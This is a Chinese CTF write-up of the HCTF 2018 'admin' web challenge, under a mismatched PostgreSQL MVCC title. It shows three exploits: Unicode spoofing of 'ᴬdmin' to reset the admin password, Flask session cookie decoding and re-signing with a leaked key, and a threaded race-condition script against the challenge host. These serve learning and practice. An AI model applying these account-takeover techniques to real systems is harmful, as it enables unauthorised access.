PostgreSQL的MVCC(3)--Row Versions
0x00 前言
做這道題的時候,我是通過弱口令來獲取flag的。看了其他人的做法後決定都試一下,畢竟僅是通過弱口令也學不到什麼。
主要有以下三種解法:
- unicode欺騙
- flask session 偽造
- 條件競爭
0x01 資訊收集
拿到一個網站最重要的當然是收集資訊,收集到的資訊決定了滲透的方向。
我在這個網站收集到了如下資訊:
- 存在的頁面有login register posts(404) index change(修改密碼)
- 在change頁面的原始碼中發現了網站的原始碼地址如下
0x02 unicode欺騙
下載原始碼進行程式碼審計,首先對routes.py進行審計如下
發現註冊和登入以及修改密碼處只是對資料進行了小寫化,而且奇怪的是小寫化函式用的不是python自帶的,而是自己封裝的,直覺告訴我這裡存在問題。
於是看一下這個函式是如何封裝的 如下
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
## 包引入頭
nodeprep.prepare這個方法是將大寫字母轉換成小寫字母,但是它存在一個問題:
它會將unicode編碼的ᴬ轉化成A
unicode參考表:https://unicode-table.com/en/search/?q=Modifier+Letter+Capital
通過程式碼審計我們知道login register change處都是使用的strlower()函式,都會使用到nodeprep.prepare函式。
這時我們打理一下思緒,我們只要獲得admin使用者的登入許可權即可,login register change三處都使用了strlower()函式,
也許我們可以通過nodeprep.prepare函式的這一特性來達到更改admin使用者的密碼,那我們怎麼來做?
首先我們可以註冊一個ᴬdmin使用者,註冊成功後其實後端儲存的賬號為Admin,然後我們在更改密碼,因為strlower()可以將大寫字母小寫化,所以我們更改的是admin的密碼
ᴬdmin--->Admin--->admin
接下來我們先註冊一個ᴬdmin賬號
登入該賬號
主頁面如下,可以看到顯示的賬戶為Admin
接下來我們修改一下密碼,把密碼修改為test
可以看到修改成功
登入admin使用者後,看到如下
0x03 flask session 偽造
看到原始碼,可以知道這個web使用的flask框架寫的,flask存在一個session偽造漏洞。
flask的session儲存在客戶端,一般只是加了簽名來防止被擷取修改,但是如果沒有加密我們就可以對session進行解碼來獲取其中的使用者資料。 如果我們在獲取到簽名的祕鑰,就可以按照解碼出來的資料進行偽造,重新生成簽名的session來達到欺騙服務端。 flask的session使用base64對bytes型別的使用者資料進行編碼,而且編碼之前可能進行了壓縮(session以 "." 開頭時表示進行了壓縮) flask 儲存在cookie裡面的session一般格式為 data.timestamp.signature ## 客戶端session安全學習:https://www.leavesongs.com/PENETRATION/client-session-security.html#
通過程式碼審計我們可以知道,沒有對session進行加密,而且在config.py中得到了簽名祕鑰
這說明我們可以進行session偽造,但是如何才能獲得flag那,程式碼審計過程中在index.html中還發現
只要在index介面裡讓session['name']的值為admin就可以獲得flag。
我們先獲取index介面的session
.eJxFkEGPgjAQhf_KZs4cAOPFxIOkSCSZIUsKTXsx6iKlUjcBjFrjf99qNruHucyb-ebNe8D2ODSjhsU0XJoAtt0XLB7wsYcFEEuviq3miq_uZOVM8tQpVlsZvyo_kd1ElFURsV4j3zjKSiNNGpGjk7R5j6LuJU-04klPTJkiUwbZIca47pBX84LjrWBkUXiOKI0yuve7WprVjeznrOBl5z3cMVvrQpQWXemZaYgu0cQT42-HiuPVzy7hGcBhHI7b6fvUnP9ekELOpVgb4q1Dl3do2kiJ1KGRM48OyVAvba0pzi29elzG1C7fuM7u2uY_jJo21a9y3lkvwNSMEwRwGZvhHRtEITx_AFRzbBo.X0c0OQ.4qb0LysG2sqb3NHTApcnuwpAULw
然後我們用如下python指令碼對他進行解碼:
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
{'_fresh': True, '_id': b'410d09e026f7a13d5fcefcbd6b54e549a1234dcb1573dbbe1eea0ae0e46c8fc0763eb15993183f1b55dcf8e73ab016d794b4120aa9df34e1a430a50c4e4e306d', 'csrf_token': b'af9aac58332b285ea326741463ebea7bf6675666', 'image': b'5SHR', 'name': 'test', 'user_id': '10'}
將得到的資料中的test替換成admin,然後重新進行簽名(使用的指令碼地址:https://github.com/noraj/flask-session-cookie-manager)
.eJxFkEGLwkAMhf_KkrOHtuJF8GCZWiwkZcvYIXMRV2unY8eFqqgj_vcdZdk95JKXfHl5D1jvh-ZkYHoeLs0I1t0Opg_4-IIpkMiuWswnWs7v5HjMMvNa1I6TVxUHcsuY8lVMojcol57yyrLNYvJ0YFf0qOqeZWq0THsS2pa5tii2CSZ1h3I1KSXeSkEOVeCoympr-rBr2M5v5D7Hpay64OGO-cKUqnLoq8DMIvSpIZnacDvSEq9hdgbPEWxPw359_j40x78XWPGE1cKSbD36okPbxlplHi2PAzoiSz272lBSOHr1JCfUzt64zm3a5j-MmparX-W4cUGAzc51RxjB5dQM79wgjuD5A8BwbGM.X0c24g.yUFbBmBBsRINcJJ0r0SvkWfPh4A
替換session,重新整理後得到
0x04 條件競爭
修改密碼只是從session裡面取name的值就可以進行修改,如果讓這個name值為admin則可以達到修改admin賬戶的效果。
登入使用者的時候沒有進行驗證便直接把使用者名稱賦值給了session的name,所以當我們在修改密碼的同時登入admin使用者,從理論上來講是可以實現修改admin賬戶的。
可以通過python寫一個雙執行緒指令碼,一個執行緒登入測試賬戶修改密碼,一個執行緒退出測試賬戶登入admin(這裡登入指的只是使用者名稱為admin密碼不正確)
由於BUUCTF限制流量,所以我沒有測試此方法,只是看了大佬寫的指令碼 如下
import requests
import threading
def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://admin.2018.hctf.io/login", data=data)
def logout(s):
return s.get("http://admin.2018.hctf.io/logout")
def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://admin.2018.hctf.io/change", data=data)
def func1(s):
login(s, 'skysec', 'skysec')
change(s, 'skysec')
def func2(s):
logout(s)
res = login(s, 'admin', 'skysec')
if '<a href="/index">/index</a>' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()
if __name__ == "__main__":
main()